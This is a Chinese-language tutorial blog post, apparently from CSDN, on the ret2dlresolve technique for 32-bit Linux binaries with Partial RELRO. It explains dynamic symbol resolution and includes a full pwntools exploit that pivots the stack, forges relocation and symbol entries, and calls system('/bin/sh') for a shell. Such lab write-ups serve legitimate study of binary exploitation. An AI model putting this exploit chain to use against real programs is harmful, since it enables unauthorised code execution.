ret2dlresolve(2)

ret2dlresolve(2)

ret2dlresolve(1)中,关闭了Partial RELRO保护,因此能够对.dynamic进行修改,从而改变dynamic中dynstr的地址,通过伪造一个dynstr来实现将函数write链接到system函数
那么如果打开了Partial RELRO保护,将如何进行

代码还是之前的代码,通过如下方式进行编译

gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32

你也可以继续用关闭了Partial RELRO的程序,就当换个思路去执行system

dlresolve前后过程

在调用dl_runtime_resolve函数前,需要压入两个参数

  • reloc_arg,函数自己plt中push的内容,是该函数在.rel.plt的偏移
    在这里插入图片描述
  • link_map,公共plt表项,在plt开始push的参数
    在这里插入图片描述以setuf第一次调用为例
    在这里插入图片描述首先,第一个jmp会去判断函数是否已经有链接过,如果有就会到got表去执行,如果没有就向下执行
    push 0,就是传入dl_runtime_resolve的参数reloc_arg,接着跳转到plt开始处执行第二个push
    这里压入的就是参数link_map,压入的是一个地址
    在这里插入图片描述

通过link_map能够找到.dynamic的地址
在这里插入图片描述

这两个参数都可以控制,一是控制reloc_arg能够修改函数.rel.plt的位置执行自己伪造的值,二是控制link_map指向的地址,并在该地址处伪造数据,并将.dynstr的地址修改之后就和之前那篇文章一样了(第二种暂时还在测试中)

先来看修改reloc_arg的意义何在
还是上面的setbuf,他传入的reloc_arg是0,因此程序会在.rel.plt + 0处去寻找对应重定位表项
在这里插入图片描述得到两个值,第一个值是该函数got表地址,第二个值是.dynsym的偏移
通过定位到dynsym表项内容,能够找到这个函数的符号定义,也就是定位到.dynstr对应的位置。
在这里插入图片描述

关于这里的计算
1、根据reloc_arg定位到setbuf的重定位表0x8048330
setbuf重定位表项中804A00Ch, 107h这两个值,第二个0x107
0x107分两个部分,前一个字节也就是0111,应该是某种标志位,具体对应什么还不了解
后面两个字节00010000 -> 0x10就是在.dynsym中的偏移
2、之后根据偏移找到表项,其中有几个值,这里就看第一个的意义
offset aSetbuf - offset byte_8048278是对.dynstr中的偏移,0x33
3、通过偏移在.dynstr找到该函数的符号setbuf在这里插入图片描述

整体流程(来上大佬的图)
在这里插入图片描述

利用

到这里,目标就很明确了,修改reloc_arg指向自己定义的重定位表项,在重定位表项中修改动态符号表也就是.dynsym的偏移,使其能够指向自己定义的符号的地址

需要注意的是,要先进行栈迁移,如果直接在原栈上操作会出现很多莫名奇妙的问题,自己尝试不进行栈迁移,在测试修改动态符号表时,我输入的数据并没有到我期望的位置去,后来了解到是因为缓冲区大小不够的原因,导致后面写入的 数据跑到前面去了,所以还是要进行栈迁移。
至于迁移到那,就选一个可写,并且没被占用的位置就行

exp

from pwn import *
#context.log_level="debug"
context.arch="i386"
p = process("./main32")
rop = ROP("./main32")
elf = ELF("./main32")


p.recvline()

def debug():
	gdb.attach(p)
	pause()

offset = 92

rop.raw(offset*'a')
#栈迁移
base_addr = 0x0804a340
rop.read(0, base_addr, 100)
rop.migrate(base_addr)
p.sendline(rop.chain())

rop = ROP("./main32")

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


write_reloc_addr = base_addr + 24
write_dynsym_addr = write_reloc_addr + 0x10
system_addr = write_dynsym_addr + 0x10
print(hex(dynsym))
print(hex(write_dynsym_addr))

write_reloc = flat([0x804A01C, (((write_dynsym_addr - dynsym) & 0xfff0) << 4) + 7])
#write_reloc = flat([0x804A01C, 0x607])
print(hex((((write_dynsym_addr - dynstr) & 0xfff0) << 4) + 7))
write_dynsym = flat([system_addr + 0x8 - dynstr, 0, 0, 0x12])
#write_dynsym = flat([0x4c, 0, 0, 0x12])
print("write_dynsym:" + hex(write_dynsym_addr))
print("system_addr:" + hex(system_addr))

rop.raw(plt0) #4
rop.raw(write_reloc_addr - rel_plt)
rop.raw(elf.sym['main']) 
rop.raw(system_addr)
rop.raw(1)
rop.raw(1)
rop.raw(write_reloc)
rop.raw('a' * 8)
rop.raw(write_dynsym)
print(system_addr - base_addr)
print(len(rop.chain()))
rop.raw('/bin/sh\x00')
rop.raw('system\x00')
p.sendline(rop.chain())

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值